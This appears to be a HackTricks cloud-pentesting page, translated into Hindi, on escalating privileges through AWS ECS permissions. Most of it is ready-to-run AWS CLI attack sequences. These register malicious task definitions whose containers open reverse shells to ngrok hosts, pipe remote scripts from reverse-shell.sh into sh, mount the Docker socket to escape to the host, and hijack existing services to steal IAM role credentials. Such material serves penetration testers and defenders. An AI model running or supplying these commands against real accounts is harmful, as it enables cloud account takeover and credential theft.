AWS - ECS Privesc

Support HackTricks

ECS

ECS के बारे में अधिक जानकारी:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

एक हमलावर जो iam:PassRole, ecs:RegisterTaskDefinition और ecs:RunTask अनुमति का दुरुपयोग करता है, वह एक नया टास्क परिभाषा बनाने में सक्षम हो सकता है जिसमें एक दुष्ट कंटेनर होता है जो मेटाडेटा क्रेडेंशियल्स को चुराता है और इसे चलाता है

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

संभावित प्रभाव: एक अलग ECS भूमिका में सीधे प्रिवेस्क।

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

पिछले उदाहरण की तरह, एक हमलावर iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask अनुमतियों का दुरुपयोग करके ECS में एक नया कार्य परिभाषा उत्पन्न कर सकता है जिसमें एक दुष्ट कंटेनर होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और इसे चलाता है। हालांकि, इस मामले में, दुष्ट कार्य परिभाषा को चलाने के लिए एक कंटेनर उदाहरण होना चाहिए।

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

संभावित प्रभाव: किसी भी ECS भूमिका के लिए सीधे प्रिवेस्क।

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

पिछले उदाहरण की तरह, एक हमलावर iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService या ecs:CreateService अनुमतियों का दुरुपयोग करके ECS में एक नया कार्य परिभाषा उत्पन्न कर सकता है जिसमें एक दुष्ट कंटेनर होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और इसे चलाने के लिए कम से कम 1 कार्य चलाते हुए एक नई सेवा बनाकर।

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

संभावित प्रभाव: किसी भी ECS भूमिका के लिए सीधे प्रिवेस्क।

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

वास्तव में, केवल उन अनुमतियों के साथ, यह ओवरराइड्स का उपयोग करके किसी कंटेनर में किसी भी भूमिका के साथ मनमाने आदेश निष्पादित करना संभव है जैसे:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

संभावित प्रभाव: किसी भी ECS भूमिका के लिए सीधे प्रिवेस्क।

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

यह परिदृश्य पिछले वाले के समान है लेकिन iam:PassRole अनुमति के बिना। यह अभी भी दिलचस्प है क्योंकि यदि आप एक मनमाना कंटेनर चला सकते हैं, भले ही यह बिना भूमिका के हो, आप एक विशेषाधिकार प्राप्त कंटेनर चला सकते हैं ताकि नोड पर भाग जाएं और EC2 IAM भूमिका और अन्य ECS कंटेनरों की भूमिकाएं चुरा सकें जो नोड पर चल रही हैं। आप यहां तक कि अन्य कार्यों को EC2 उदाहरण के अंदर चलाने के लिए मजबूर कर सकते हैं जिसे आप समझौता करते हैं ताकि उनकी क्रेडेंशियल्स चुरा सकें (जैसा कि नोड अनुभाग में प्रिवेस्क में चर्चा की गई है)।

यह हमला केवल तभी संभव है जब ECS क्लस्टर EC2 उदाहरणों का उपयोग कर रहा हो और Fargate का नहीं।

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

एक हमलावर के पास ecs:ExecuteCommand, ecs:DescribeTasks है जिससे वह कमांड्स को एक चल रहे कंटेनर के अंदर निष्पादित कर सकता है और इससे जुड़े IAM भूमिका को एक्सफिल्ट्रेट कर सकता है (आपको विवरण अनुमतियों की आवश्यकता है क्योंकि aws ecs execute-command चलाने के लिए यह आवश्यक है)। हालांकि, ऐसा करने के लिए, कंटेनर इंस्टेंस को ExecuteCommand एजेंट चला रहा होना चाहिए (जो डिफ़ॉल्ट रूप से नहीं होता है)।

इसलिए, हमलावर कोशिश कर सकता है:

  • हर चल रहे कंटेनर में एक कमांड चलाने की कोशिश करें

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • यदि उसके पास ecs:RunTask है, तो aws ecs run-task --enable-execute-command [...] के साथ एक कार्य चलाएँ।

  • यदि उसके पास ecs:StartTask है, तो aws ecs start-task --enable-execute-command [...] के साथ एक कार्य चलाएँ।

  • यदि उसके पास ecs:CreateService है, तो aws ecs create-service --enable-execute-command [...] के साथ एक सेवा बनाएँ।

  • यदि उसके पास ecs:UpdateService है, तो aws ecs update-service --enable-execute-command [...] के साथ एक सेवा अपडेट करें।

आप पिछले ECS privesc अनुभागों में इन विकल्पों के उदाहरण पा सकते हैं।

संभावित प्रभाव: कंटेनरों से जुड़े एक अलग भूमिका में privesc।

ssm:StartSession

देखें कि आप ssm privesc पृष्ठ में इस अनुमति का दुरुपयोग कैसे कर सकते हैं ताकि ECS में privesc हो सके:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

देखें कि आप ec2 privesc पृष्ठ में इन अनुमतियों का दुरुपयोग कैसे कर सकते हैं ताकि ECS में privesc हो सके:

AWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: क्या किसी अन्य AWS खाते से एक उदाहरण पंजीकृत करना संभव है ताकि कार्य उन मशीनों के तहत चलाए जाएं जो हमलावर द्वारा नियंत्रित हैं??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: इसे परीक्षण करें

एक हमलावर जिसके पास अनुमतियाँ ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, और ecs:DescribeTaskSets हैं, वह एक मौजूदा ECS सेवा के लिए एक दुर्भावनापूर्ण कार्य सेट बना सकता है और प्राथमिक कार्य सेट को अपडेट कर सकता है। इससे हमलावर को सेवा के भीतर मनमाना कोड निष्पादित करने की अनुमति मिलती है।

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

संभावित प्रभाव: प्रभावित सेवा में मनचाहा कोड निष्पादित करें, जो इसकी कार्यक्षमता को प्रभावित कर सकता है या संवेदनशील डेटा को एक्सफिल्ट्रेट कर सकता है।

संदर्भ

HackTricks का समर्थन करें

Last updated